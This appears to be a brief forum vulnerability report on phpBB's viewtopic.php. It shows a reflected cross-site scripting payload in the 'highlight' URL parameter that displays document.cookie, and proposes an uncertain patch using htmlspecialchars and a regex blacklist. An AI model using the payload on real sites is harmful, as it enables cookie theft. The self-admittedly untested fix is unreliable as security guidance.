Vulnerable systems:

The Last ver

Exploit:

http://phpbb.com/phpBB/viewtopic.php?

t=17071&highlight=">"<Scr*ipt>javascript:alert(document.cookie)</Scr*ipt
>

(without "*")

Solution:

i think that will work , but im not sure

open viewtopic.php and put this code

$highlight = htmlspecialchars($highlight);

$highlight = PREG_Replace("/[A-Z&.;:()~!@#$%^''*\{\}\/]/i", "",

$highlight);

[ reply ]